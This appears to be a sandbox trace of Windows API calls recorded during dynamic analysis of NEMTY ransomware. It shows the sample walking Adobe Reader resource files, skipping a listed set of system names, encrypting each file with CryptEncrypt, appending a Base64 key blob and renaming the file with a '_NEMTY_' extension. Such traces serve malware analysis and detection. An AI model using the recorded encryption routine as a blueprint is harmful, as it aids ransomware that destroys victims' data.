ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe1, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="gre32.clx", cAlternateFileName="")) returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2=".") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="..") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="...") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="windows") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="rsa") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="NTDETECT.COM") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="ntldr") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="MSDOS.SYS") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="IO.SYS") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="boot.ini") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="boot.ini") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="ntuser.dat") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="desktop.ini") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="CONFIG.SYS") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="RECYCLER") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="bootmgr") returned 1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="programdata") returned -1 [0217.703] lstrcmpiW (lpString1="gre32.clx", lpString2="appdata") returned 1 [0217.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre32.clx", lpUsedDefaultChar=0x0) returned 9 [0217.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.704] Sleep (dwMilliseconds=0x5) [0217.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x356758d0, dwHighDateTime=0x1d561e8)) [0217.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x356758d0, dwHighDateTime=0x1d561e8)) [0217.711] GetLastError () returned 0x0 [0217.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.712] GetLastError () returned 0x0 [0217.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.712] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.712] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.712] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="D0pClAjsFJXRqNk1bj7mV8X+b40envXpcHAPrAnxUMOlzWsJYHE5xV6pDVRWUkyA\r\n+GxwSGBusfUn1bj4Reupqzj2seQD4mYrIoCAastIQ7XvStf0Mtm8vwZK8OG87c3D\r\nytGgBrDBz6YrXX6L9E9xjAmgJnsWBtMGOnmnAnC8PV9TtS4r6E5tx3ELfXAPuATo\r\nLK5InfLntQrs4VoieBmL9s9Vgi51N2M2DgbBQpsItcngk4e7kLBeoIYeNmByUUwj\r\nI0yBoc5oXi72Ulr6JZAuDdOIPx8Ygpmkm8Ki3HgpnI3+EKOwWSyFNe9h8Nyv3XAi\r\n/hqmSq6ZFGLwWrbveBq9KA==\r\n", pcchString=0x653df5c) returned 1 [0217.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.712] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.713] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32737) returned 1 [0217.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7fe0) returned 0x6354c48 [0217.713] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.713] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7fe0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7fe0, lpOverlapped=0x0) returned 1 [0217.716] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.716] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7fe0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7fe0, lpOverlapped=0x0) returned 1 [0217.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.717] SetFilePointer (in: hFile=0x320, lDistanceToMove=32737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7fe1 [0217.717] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.717] CloseHandle (hObject=0x320) returned 1 [0217.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.717] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre32.clx._nemty_kgobjgd_")) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.719] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="grm.fca", cAlternateFileName="")) returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2=".") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="..") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="...") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="windows") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="$RECYCLE.BIN") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="rsa") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="NTDETECT.COM") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="ntldr") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="MSDOS.SYS") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="IO.SYS") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="boot.ini") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="boot.ini") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="AUTOEXEC.BAT") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="ntuser.dat") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="desktop.ini") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="CONFIG.SYS") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="RECYCLER") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="BOOTSECT.BAK") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="bootmgr") returned 1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="programdata") returned -1 [0217.719] lstrcmpiW (lpString1="grm.fca", lpString2="appdata") returned 1 [0217.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm.fca", lpUsedDefaultChar=0x0) returned 7 [0217.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm.fca", lpUsedDefaultChar=0x0) returned 7 [0217.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm.fca", lpUsedDefaultChar=0x0) returned 7 [0217.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="grm.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grm.fca", lpUsedDefaultChar=0x0) returned 7 [0217.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.720] Sleep (dwMilliseconds=0x5) [0217.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3569ba30, dwHighDateTime=0x1d561e8)) [0217.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3569ba30, dwHighDateTime=0x1d561e8)) [0217.727] GetLastError () returned 0x0 [0217.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.727] GetLastError () returned 0x0 [0217.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.727] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.727] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.727] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.727] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="Zxna3gGAYkVSVDpmG0hIn5fVnyOJkyvqW3MG6USym/jpGnZvP1GhFGz4/f3Y5Lqq\r\nRX9CodEHIsB6P0hEUdpjOcbIKYRo8FqVDsvj8mQV/fJDLgbazEiiSRSlFnC79ze1\r\nrymneFrvRpHsff3jt7+dMcASnTdamcXLKuZNgzAip1/7NwyBiXvo+Z+AOnggjc3k\r\nN3Tqd8MPZGVC8bkast5ERBdZp0QPVDyI9V3loH6avkn66efGaoLYScv53etu72HI\r\nMZm9FZRVmMUsc7nEG+NmmHx+z70k1J4PzDyDFmPo3M/wFckUsI/yvJpuF0WOg6Wp\r\nhU/5LcAY0B0bDI6nfbisKA==\r\n", pcchString=0x653df5c) returned 1 [0217.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\grm.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\grm.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) Thread: id = 26 os_tid = 0xae4 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x93c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 8 os_tid = 0x40c Thread: id = 9 os_tid = 0x76c Thread: id = 10 os_tid = 0x758 Thread: id = 11 os_tid = 0x74c Thread: id = 12 os_tid = 0x72c Thread: id = 13 os_tid = 0x71c Thread: id = 14 os_tid = 0x718 Thread: id = 15 os_tid = 0x638 Thread: id = 16 os_tid = 0x154 Thread: id = 17 os_tid = 0x150 Thread: id = 18 os_tid = 0x12c Thread: id = 19 os_tid = 0x120 Thread: id = 20 os_tid = 0x3fc Thread: id = 22 os_tid = 0x9c8 Thread: id = 25 os_tid = 0xae0 Thread: id = 27 os_tid = 0x110